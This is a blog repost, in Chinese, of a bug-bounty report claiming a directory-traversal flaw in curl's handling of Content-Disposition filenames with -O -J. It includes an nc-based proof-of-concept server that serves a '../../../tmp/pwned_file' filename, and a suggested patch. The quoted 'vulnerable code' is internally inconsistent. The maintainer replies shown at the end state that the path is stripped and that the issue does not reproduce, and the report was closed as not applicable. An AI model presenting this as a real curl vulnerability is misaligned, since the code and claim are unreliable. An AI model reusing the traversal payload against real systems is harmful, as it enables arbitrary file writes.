cURL目录遍历漏洞分析:Content-Disposition头处理安全风险

本文详细分析了cURL工具在处理Content-Disposition头时存在的目录遍历漏洞,包括漏洞成因、攻击场景、PoC验证和修复建议,涉及源代码分析和安全防护措施。

漏洞描述

src/tool_cb_hdr.c文件中的parse_filename函数未能充分验证和清理从HTTP Content-Disposition头中提取的文件名,当同时使用-O(远程名称)和-J(远程头名称)选项时,允许目录遍历攻击。

易受攻击的代码位置

文件: src/tool_cb_hdr.c
函数: parse_filename(约230-300行)

受影响代码路径:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
static char *parse_filename(const char *ptr, size_t len)
{
// ... [文件名提取逻辑] ...
    if(per->config->output_dir) {
        outs->filename = curl_maprintf("%s/%s", per->config->output_dir,
                                      filename);  // 漏洞点:文件名可能包含路径遍历
    }
    else
        outs->filename = filename;
    
    // 创建文件时缺乏足够的路径遍历检查
    if(!tool_create_output_file(outs, per->config))
        return CURL_WRITEFUNC_ERROR;
}

攻击场景

  1. 用户运行:curl -O -J http://malicious-server/file -o "/intended/output/dir"
  2. 恶意服务器响应头:Content-Disposition: attachment; filename="../../../etc/passwd"
  3. cURL在/etc/passwd创建文件,而不是在/intended/output/dir/etc/passwd

概念验证

恶意服务器设置:

1
echo -e "HTTP/1.1 200 OK\r\nContent-Disposition: attachment; filename=\"../../../tmp/pwned_file\"\r\nContent-Length: 6\r\n\r\nPWNED" | nc -l -p 8080

利用命令:

1
2
3
# 触发漏洞的用户命令
curl -O -J http://localhost:8080/malicious-file -o "/safe/output/directory"
# 结果:文件在/tmp/pwned_file创建,而不是在/safe/output/directory/pwned_file

推荐修复方案

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
static char *parse_filename(const char *ptr, size_t len)
{
    char *copy = memdup0(ptr, len);
    if(!copy)
        return NULL;
    
    // 路径遍历保护
    if(strstr(copy, "..") != NULL) {
        free(copy);
        return NULL; // 拒绝包含路径遍历的文件名
    }
    
    // 对绝对路径的额外清理
    if(copy[0] == '/') {
        free(copy);
        return NULL; // 拒绝绝对路径
    }
    
    // ... 现有处理逻辑 ...
}

影响

直接影响

  • 任意文件写入:攻击者可以在预期输出目录之外写入文件
  • 文件覆盖:可以覆盖现有的系统文件
  • 权限提升:当以提升的权限运行时,可以修改关键系统文件

攻击向量

  • 恶意Web服务器:任何被入侵或恶意的服务器都可以利用此漏洞
  • 中间人攻击:在未加密的连接中
  • 缓存投毒:如果CDN或代理缓存被入侵

项目响应

oliverkremer 将报告状态更改为"不适用" - 11天前

fandrich (cURL工作人员) 发表评论 - 10天前: “-J的文档说明:如果服务器提供的文件名包含路径,在使用文件名之前会被剥离。所以这个报告听起来确实像是错误行为。然而文档确实警告:请谨慎使用此选项,但这并不能否定前面的陈述。我也找不到验证此路径剥离的测试。

但是,我无法重现此问题,无论是在git HEAD版本还是7.88.1版本上。请注意-o选项与-J冲突,最新版本的curl会对此发出警告。将该选项替换为--output-dir会导致curl按预期将pwned_file写入该目录;它会忽略Content-Disposition中的路径。您在哪个版本上重现了这个问题?”

bagder (cURL工作人员) 请求公开此报告 - 10天前: “根据项目的透明政策,我们希望所有报告都被公开并公之于众。”

oliverkremer 同意公开此报告 - 10天前

报告详情

报告时间: 2025年11月1日 20:40 UTC
报告者: oliverkremer
报告对象: curl
报告ID: #3408126
严重程度: 中等 (4 ~ 6.9)
公开时间: 2025年11月1日 21:22 UTC
弱点类型: 路径遍历
CVE ID:
赏金:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计